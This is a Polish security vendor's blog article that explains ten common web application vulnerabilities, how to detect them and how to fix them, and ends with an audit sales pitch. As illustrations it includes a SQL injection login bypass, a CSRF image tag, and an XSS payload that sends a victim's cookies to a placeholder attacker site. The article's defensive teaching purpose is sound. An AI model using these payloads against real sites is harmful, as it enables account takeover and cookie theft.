
Cyberbezpieczeństwo w modelu pracy zdalnej – co naprawdę działa?
26 czerwca, 2025
Cyberinsurance – czy ubezpieczenie od ataków to konieczność?
27 czerwca, 2025Bezpieczeństwo aplikacji webowych – 10 najczęstszych luk i jak je załatać
- Wprowadzenie – dlaczego aplikacje webowe są na celowniku?
Każda aplikacja webowa to brama do Twojej firmy.
Jeśli zawiera dane użytkowników, przetwarza płatności, loguje sesje albo łączy się z wewnętrznym systemem – to znaczy, że jest interesująca dla atakującego.
Według OWASP, ENISA i raportów z rynku:
- ponad 70% incydentów w warstwie aplikacyjnej dotyczy aplikacji webowych,
- 9 na 10 ataków wykorzystuje błędy logiczne, brak walidacji lub błędne uprawnienia,
- a wiele podatności powstaje już na etapie developmentu – i przechodzi do produkcji.
Dlaczego? Bo:
- Dev nie myśli jak haker.
- QA testuje funkcje, nie bezpieczeństwo.
- Monitoring działa „po awarii”.
- A patchowanie zależy od tego, czy ktoś ma czas „w tym sprincie”.
Efekt? Nawet nowoczesne, skalowalne i zgodne z frameworkami aplikacje są dziurawe jak ser szwajcarski.
W tym artykule pokażemy:
- 10 najczęstszych luk bezpieczeństwa w aplikacjach webowych,
- jak je rozpoznać, przetestować i załatać,
- oraz jak wbudować bezpieczeństwo w proces DevOps – a nie tylko „na końcu”.
- Luka #1: SQL Injection – klasyka, która nadal działa
SQL Injection to jedna z najstarszych, a jednocześnie nadal najskuteczniejszych technik ataku na aplikacje webowe. Działa, bo… wiele aplikacji nadal nie waliduje danych wejściowych i nie korzysta z bezpiecznego łączenia z bazą danych.
🧨 Na czym polega SQL Injection?
Aplikacja przesyła dane użytkownika (np. login, ID produktu, wyszukiwanie) do zapytania SQL bez filtracji. Atakujący wstrzykuje w to pole własne komendy SQL, np.:
SELECT * FROM users WHERE username = 'admin' --' AND password = '123'
📌 Efekt: omijanie logowania, wycieki danych, modyfikacja lub usunięcie tabeli.
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Pola tekstowe, które nie ograniczają wpisywanych znaków
- Widoczna różnica w działaniu przy użyciu znaków ', --, OR 1=1
- Brak mechanizmów przygotowanych zapytań (prepared statements)
- Brak warstwy ORM lub jej błędna implementacja
🛠️ Jak to załatać?
✅ Używaj parametrów i prepared statements
– Zamiast budować query ze stringów, korzystaj z funkcji frameworka:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
✅ Używaj ORM (Hibernate, SQLAlchemy, Eloquent) – ale z głową
✅ Waliduj dane wejściowe (whitelisting, typy danych)
✅ Nie wyświetlaj błędów SQL użytkownikowi (sanitize error output)
✅ Włącz logowanie zapytań podejrzanych i alerty na SQL keywords
SQL Injection to coś, czego nie powinno już być. Ale nadal jest. Bo łatwo o tym zapomnieć.
- Luka #2: XSS (Cross-Site Scripting) – skrypt, który myśli, że jesteś użytkownikiem
XSS pozwala atakującemu na wstrzyknięcie złośliwego skryptu JavaScript do aplikacji webowej, który zostaje uruchomiony w przeglądarce ofiary – najczęściej innego użytkownika.
To jeden z najczęstszych sposobów kradzieży sesji, danych logowania, tokenów, a także przejęcia konta w aplikacji.
🧨 Na czym polega XSS?
Aplikacja pozwala na wyświetlenie niesanitaryzowanego inputu (np. komentarza, wiadomości, tytułu, opisu), który zawiera kod JavaScript.
Przykład payloadu:
<script>fetch('https://attacker.site/cookie?data=' + document.cookie)</script>
📌 Efekt: przeglądarka użytkownika wykonuje złośliwy skrypt – tak, jakby zrobiła to aplikacja.
🧠 Rodzaje XSS:
- Stored XSS – złośliwy kod zapisany na stałe (np. w komentarzu)
- Reflected XSS – kod w parametrze URL (np. link phishingowy)
- DOM-based XSS – manipulacja DOM bez kontaktu z serwerem
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Możesz wprowadzić HTML/JS do pola formularza i widzisz go bez przefiltrowania
- Linki z parametrami powodują wykonanie skryptu
- Brak nagłówków bezpieczeństwa (Content-Security-Policy, X-XSS-Protection)
🛠️ Jak to załatać?
✅ Escapuj wszystkie dane użytkownika przed renderowaniem w HTML/JS
– np. &, <, >, " zamieniane na encje HTML
– używaj funkcji htmlspecialchars(), escape(), sanitize() z frameworka
✅ Używaj bibliotek i frameworków z wbudowaną ochroną (React, Angular, Vue)
✅ Włącz nagłówki bezpieczeństwa (CSP, X-XSS-Protection)
✅ Waliduj i filtruj dane wejściowe (tylko dozwolone znaki, długość, typ danych)
✅ Regularnie testuj aplikację pod kątem XSS (np. z Burp Suite, ZAP, Nikto)
XSS atakuje nie aplikację, tylko użytkownika – ale przez Twoją aplikację.
- Luka #3: Broken Authentication – logujesz się, ale nie do swojego konta
Broken Authentication oznacza błędy w mechanizmach logowania, zarządzania sesją i kontroli tożsamości. To jedna z najbardziej krytycznych luk, bo umożliwia atakującemu:
- przejęcie konta innego użytkownika,
- ominięcie logowania,
- lub nadużycie mechanizmów resetowania haseł.
🧨 Na czym polega ta luka?
Mechanizmy autoryzacji i zarządzania sesją są źle zaprojektowane lub błędnie wdrożone – np.:
- Brak limitu prób logowania (brute force)
- Brak MFA
- Przechowywanie haseł w formie jawnej lub z przestarzałym hashowaniem
- Identyfikator sesji łatwy do przewidzenia lub współdzielony
- Token sesyjny nie wygasa po wylogowaniu lub ma nieskończony czas życia
📌 Efekt: atakujący może zalogować się jako inny użytkownik – bez hasła.
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Login działa bez limitu błędnych prób
- Nie ma wymuszonego MFA przy dostępie do zasobów wrażliwych
- Hasła użytkowników są hashowane w sposób przestarzały (MD5, SHA1) lub przechowywane wprost
- Po zmianie hasła – stara sesja nadal działa
- Token logowania nie wygasa przez wiele dni lub jest łatwy do odgadnięcia
🛠️ Jak to załatać?
✅ Wymuszaj MFA wszędzie tam, gdzie użytkownik się loguje
✅ Wdrażaj rate limiting i blokady po X nieudanych próbach logowania
✅ Hashuj hasła z użyciem silnych funkcji (bcrypt, scrypt, Argon2)
✅ Unieważniaj sesje przy zmianie hasła lub logowaniu z nowego urządzenia
✅ Wygaszaj tokeny sesji po okresie nieaktywności lub maksymalnym czasie życia (np. 30 minut)
✅ Nie wystawiaj tokenów JWT z nieskończonym exp lub bez aud/iss
Jeśli możesz zalogować się bezpiecznie – haker powinien mieć gorzej. Jeśli ma łatwiej – masz problem.
- Luka #4: Insecure Direct Object References (IDOR) – manipulacja identyfikatorem = dostęp do cudzych danych
IDOR to luka, w której aplikacja pozwala użytkownikowi manipulować identyfikatorem zasobu (np. numerem ID w URL), bez sprawdzania, czy użytkownik ma do niego uprawnienia.
W efekcie atakujący może uzyskać dostęp do cudzych dokumentów, kont, faktur czy danych – tylko zmieniając numer w adresie URL lub parametrze zapytania.
🧨 Na czym polega IDOR?
Typowe zapytanie:
GET /invoice?id=1234
Jeśli użytkownik zalogowany jako A zmieni id=1234 na id=1235 i zobaczy fakturę innego użytkownika – mamy IDOR.
📌 Efekt: naruszenie poufności, często dane osobowe, finansowe, medyczne – czyli naruszenie RODO.
🔍 Jak rozpoznać, że aplikacja jest podatna?
- W URL, parametrach GET/POST pojawiają się surowe ID użytkownika, faktury, dokumentu
- Brak backendowego sprawdzania, czy użytkownik może zobaczyć dany obiekt
- System działa poprawnie nawet po zmianie ID w URL
- Aplikacja nie weryfikuje właściciela obiektu na poziomie bazy danych
🛠️ Jak to załatać?
✅ Weryfikuj uprawnienia do każdego zasobu – niezależnie od inputu użytkownika
– np. SELECT * FROM faktury WHERE id = ? AND user_id = ?
✅ Nie używaj surowych ID – stosuj UUID, hash lub token
✅ Ukrywaj identyfikatory w sesji lub generuj tymczasowe tokeny dostępu
✅ Loguj i alertuj każde zapytanie do zasobu, który nie należy do użytkownika
✅ Testuj aplikację automatycznie pod kątem IDOR (Burp Suite, OWASP ZAP)
IDOR nie wymaga hakowania. Wystarczy ciekawość, link i chwila – by złamać zaufanie do całej aplikacji.
- Luka #5: Brak ograniczeń uprawnień (Broken Access Control)
Broken Access Control to sytuacja, w której aplikacja nie egzekwuje poprawnie polityki dostępu – co oznacza, że użytkownik może zrobić coś, czego nie powinien.
To jedna z najczęstszych i najgroźniejszych luk, bo pozwala na eskalację uprawnień, dostęp do danych lub funkcji administracyjnych – bez odpowiednich uprawnień.
🧨 Na czym polega ta luka?
- Brak weryfikacji ról lub uprawnień użytkownika przed wykonaniem akcji
- Logika autoryzacji znajduje się tylko po stronie frontendu (np. przycisk jest ukryty, ale endpoint nadal działa)
- Każdy użytkownik może wykonać żądanie typu DELETE, POST, PATCH, nawet jeśli nie ma do tego roli
📌 Efekt: użytkownik „basic” może edytować konto „admina”, usuwać dane, zatwierdzać przelewy, przeglądać logi
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Wysyłasz żądanie do endpointu jako użytkownik o niższych uprawnieniach i nadal uzyskujesz dostęp
- Nie ma różnicy w odpowiedzi między użytkownikiem „admin” a „user”
- Frontend ukrywa przyciski, ale backend nie weryfikuje ról
- Brak rozdziału ról i uprawnień w modelu danych / aplikacji
🛠️ Jak to załatać?
✅ Egzekwuj uprawnienia po stronie backendu – dla każdego endpointu i każdego działania
– Zanim cokolwiek zostanie wykonane, aplikacja musi sprawdzić: czy użytkownik może to zrobić?
✅ Stosuj RBAC/ABAC (Role/Attribute-Based Access Control)
✅ Loguj próby nieautoryzowanego dostępu – nawet jeśli się nie powiodą
✅ Testuj automatycznie różne poziomy ról (QA + testy integracyjne)
✅ Nie ufaj frontendowi – kontrola musi być po stronie serwera
Brak kontroli dostępu to jak posiadanie drzwi do serwerowni bez zamka – wystarczy wiedzieć, gdzie są.
- Luka #6: CSRF (Cross-Site Request Forgery) – użytkownik klika, haker korzysta
CSRF to luka, która pozwala atakującemu na wykonanie żądania w imieniu zalogowanego użytkownika, bez jego wiedzy i zgody.
Działa wtedy, gdy aplikacja ufnie akceptuje żądania z przeglądarki – bez dodatkowego potwierdzenia autentyczności.
🧨 Na czym polega CSRF?
- Użytkownik jest zalogowany do aplikacji A (np. bank, CRM, panel admina).
- Odwiedza stronę B, która potajemnie wysyła żądanie HTTP do aplikacji A – np.:
<img src="https://app.com/account/delete?id=123">
- Jeśli aplikacja nie weryfikuje żądania – akcja zostaje wykonana z poziomu zalogowanego użytkownika.
📌 Efekt: nieautoryzowane transakcje, zmiana hasła, usunięcie danych, manipulacja kontem.
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Brak tokena CSRF w formularzach (lub token jest statyczny)
- Można wysłać żądanie POST/PUT z zewnętrznego źródła bez błędu
- Aplikacja polega wyłącznie na cookie do autoryzacji sesji
- Brak nagłówków ograniczających pochodzenie żądań (np. SameSite, Origin, Referer)
🛠️ Jak to załatać?
✅ Stosuj tokeny CSRF (anti-CSRF tokens)
– Dynamicznie generowane dla każdej sesji/żądania
– Osadzane w formularzach, weryfikowane na backendzie
✅ Stosuj nagłówki SameSite=Strict lub Lax dla ciastek sesyjnych
✅ Weryfikuj nagłówki Origin i Referer w żądaniach POST/PUT/DELETE
✅ Stosuj mechanizmy wymagające ponownego uwierzytelnienia przy krytycznych akcjach (np. zmianie hasła)
✅ Rozważ zastosowanie CAPTCHA lub innego potwierdzenia akcji w newralgicznych miejscach
CSRF wykorzystuje to, że aplikacja ufa przeglądarce. A nie powinna.
- Luka #7: Nieaktualne biblioteki i zależności – czyli dziury, które ktoś już zna
Twoja aplikacja może być napisana idealnie. Ale jeśli korzysta z biblioteki z luką bezpieczeństwa – to jakbyś zamontował sejf z papieru w pancernym pokoju.
Niezaktualizowane komponenty to jedna z najczęstszych i najbardziej zaniedbywanych luk w aplikacjach webowych.
🧨 Na czym polega ryzyko?
- Aplikacja korzysta z frameworka, biblioteki, paczki npm/pip/gem/maven, która ma znaną podatność (CVE)
- Haker zna lukę (bo jest publiczna), testuje jej obecność w aplikacji – i ją wykorzystuje
- Luka może dotyczyć bezpieczeństwa, ale też logowania, szyfrowania, obsługi danych, sesji
📌 Efekt: podatność bez potrzeby „hakowania” – wystarczy sprawdzić wersję
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Zależności nie były aktualizowane od miesięcy (albo lat)
- Nie korzystasz z automatycznego skanowania CVE
- Masz komponenty z znanymi podatnościami z listy OWASP, NVD, Snyk, GitHub Advisory
- Brak zarządzania wersjami i brak procesu aktualizacji
🛠️ Jak to załatać?
✅ Regularnie skanuj zależności narzędziami typu:
- Snyk
- OWASP Dependency-Check
- npm audit / yarn audit
- GitHub Security Alerts / Dependabot
- Whitesource / Mend.io
✅ Używaj zarządzania wersjami (version pinning, lockfile)
✅ Automatyzuj aktualizacje zależności w CI/CD
✅ Monitoruj rejestry komponentów (npm, PyPI, Maven) pod kątem krytycznych luk
✅ Stosuj tylko zaufane, aktywne biblioteki – najlepiej z dużą społecznością i historią aktualizacji
Twoja aplikacja nie jest tak bezpieczna, jak Twój kod – tylko tak bezpieczna, jak Twoje zależności.
- Luka #8: Brak walidacji danych wejściowych i filtrów serwera
Jeśli użytkownik może wpisać do Twojej aplikacji dowolne dane – to znaczy, że może też wpisać coś złośliwego.
Brak walidacji danych wejściowych to prosta droga do XSS, SQLi, IDOR, RCE i szeregu innych ataków. To jedna z najbardziej podstawowych, a jednocześnie najczęściej lekceważonych praktyk bezpieczeństwa.
🧨 Na czym polega problem?
Aplikacja akceptuje dane z formularzy, URL, API, cookie, nagłówków itp. bez sprawdzania ich zawartości i typu.
Efekt? Zamiast imienia można podać skrypt, zamiast ID – inny rekord, zamiast pliku – malware.
🧪 Typowe przykłady luk wynikających z braku walidacji:
- Możliwość przesłania pliku .exe przez formularz „CV”
- Wysyłanie zbyt długich danych (buffer overflow, DoS)
- Pole email przyjmuje dowolny ciąg – umożliwia phishing lub złośliwe rejestracje
- Input do API nie ma ograniczeń i pozwala na manipulację strukturą danych
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Dane nie są sprawdzane po stronie backendu (tylko frontend – łatwy do obejścia)
- Brak użycia typów danych i schematów walidacji
- Brak filtrów anty-XSS, anty-SQLi
- Brak limitów długości inputu, liczby pól, typu znaków
🛠️ Jak to załatać?
✅ Waliduj dane na backendzie – nie ufaj frontendowi
✅ Stosuj whitelisty – akceptuj tylko to, co jest poprawne, a nie blokuj złe
✅ Używaj bibliotek do walidacji schematów danych (np. Joi, Zod, Cerberus, Marshmallow)
✅ Ograniczaj długość inputu, typy znaków, zakresy liczb
✅ Filtruj dane przed wyświetleniem, zapisem do bazy i przetworzeniem
✅ Ustal limity przesyłanych plików, rozszerzeń i typów MIME
Walidacja to pierwszy mur przed atakiem – jeśli go nie ma, reszta obrony nie ma znaczenia.
- Luka #9: Słaba konfiguracja bezpieczeństwa aplikacji i serwera
Najlepszy kod nie pomoże, jeśli środowisko, w którym działa, jest źle skonfigurowane.
Misconfigured Security to kategoria OWASP, która obejmuje wszystkie przypadki, gdy aplikacja lub serwer:
– działa z domyślnymi ustawieniami,
– nie blokuje dostępu do paneli,
– ujawnia zbyt wiele informacji,
– albo nie stosuje podstawowych zabezpieczeń.
🧨 Na czym polega problem?
- Serwer ma włączony listing katalogów (/uploads, /tmp, /config)
- Panel admina dostępny z internetu bez ograniczeń (np. /admin)
- API debugowe / endpoints testowe są aktywne na produkcji
- Aplikacja ujawnia stack trace lub detale błędów w response'ach
- Brakuje nagłówków bezpieczeństwa (CSP, X-Content-Type-Options, etc.)
📌 Efekt: haker ma dostęp do informacji, których nigdy nie powinien zobaczyć – i nie musi nawet „atakować”
🔍 Jak rozpoznać, że aplikacja jest źle skonfigurowana?
- Response HTTP zawiera wersję serwera, frameworka, biblioteki
- Nagłówki typu Server, X-Powered-By, X-AspNet-Version są aktywne
- Aplikacja wyświetla pełne błędy (np. „NullReferenceException in line 43”)
- Endpointy debugowe są aktywne (/debug, /test, /status)
- Nie działa HTTPS lub działa tylko częściowo
🛠️ Jak to załatać?
✅ Wyłącz debugowanie i szczegółowe błędy na środowisku produkcyjnym
✅ Zablokuj listing katalogów i dostęp do zasobów niepublicznych
✅ Zastosuj nagłówki bezpieczeństwa:
- Content-Security-Policy
- Strict-Transport-Security
- X-Frame-Options
- X-Content-Type-Options
✅ Usuń zbędne endpointy, panele, testowe API z produkcji
✅ Zabezpiecz panele administracyjne (IP whitelist, VPN, MFA)
✅ Wdróż Security Hardening dla serwera WWW (Apache, NGINX, IIS)
✅ Regularnie skanuj konfigurację (np. z pomocą toolsów: Nikto, ScoutSuite, Lynis)
Zła konfiguracja to luka, którą hakerzy znajdują w pierwszej kolejności – bo niczego nie muszą łamać.
- Luka #10: Brak monitoringu i logowania zdarzeń
Jeśli nie logujesz – nie widzisz. Jeśli nie widzisz – nie reagujesz.
Brak monitoringu i logowania to luka, która nie daje atakującemu dostępu, ale daje mu coś równie cennego: ciszę i czas.
To właśnie dlatego wiele incydentów trwa tygodniami lub miesiącami zanim zostanie wykryte – bo… nikt ich nie szukał.
🧨 Na czym polega problem?
- Brak logów logowania, błędów, zmian uprawnień, prób dostępu
- Logi są, ale nikt ich nie analizuje (brak SIEM/SOC)
- Logi są nadpisywane, niekompletne, w nieczytelnym formacie
- Logi nie są zabezpieczone – można je usunąć lub zmanipulować
📌 Efekt: nie wiesz, że atak miał miejsce – a kiedy się dowiesz, jest za późno
🔍 Jak rozpoznać, że aplikacja jest podatna?
- Nie ma żadnego systemu logowania działań użytkowników
- Brak alertów o nietypowych zachowaniach (np. 5 prób logowania w 10 sekund)
- Brak narzędzi do przeszukiwania logów lub korelacji zdarzeń
- Aplikacja nie loguje ruchu do endpointów administracyjnych, prób ataku, błędów autoryzacji
🛠️ Jak to załatać?
✅ Włącz logowanie kluczowych zdarzeń:
- logowanie/wylogowanie
- zmiana hasła
- próba dostępu do zasobów nieautoryzowanych
- operacje CRUD na danych wrażliwych
- błędy aplikacji i wyjątki
✅ Zintegruj logi z centralnym systemem (SIEM / XDR / SOC)
✅ Stosuj logowanie z odpornością na manipulację (WORM storage, log immutability)
✅ Ustal retencję logów i regularnie je przeglądaj
✅ Wdróż alerty na podstawowe anomalie (brute force, nietypowa aktywność)
✅ Testuj incydenty – sprawdzaj, czy system wykrył i zareagował
Brak monitoringu to nie luka w aplikacji. To luka w świadomości – a ta kosztuje najwięcej.
- Sprawdź bezpieczeństwo swojej aplikacji z Security Network
Twoja aplikacja działa? Świetnie. Ale czy działa bezpiecznie?
Nawet jedno niedopatrzenie – brak walidacji, zapomniany endpoint, przestarzała biblioteka – może otworzyć drzwi dla ataku, wycieku danych, kar RODO, strat finansowych i utraty reputacji.
Security Network pomoże Ci:
✅ Przeprowadzić audyt bezpieczeństwa aplikacji webowej (manualny + automatyczny)
✅ Wykryć luki OWASP Top 10 i podatności w kodzie, backendzie, API i konfiguracji
✅ Zabezpieczyć dane użytkowników, sesje, logowanie i procesy biznesowe
✅ Wdrożyć proces secure coding + DevSecOps
✅ Przygotować aplikację do audytu, certyfikacji, zgodności z RODO i NIS2
✅ Reagować na incydenty i wspierać zespół developerski w real time
🎯 Nie testuj bezpieczeństwa dopiero po ataku. Sprawdź je teraz.
👉 Skontaktuj się z nami
Zabezpiecz aplikację webową zanim zrobi to ktoś inny – z Security Network.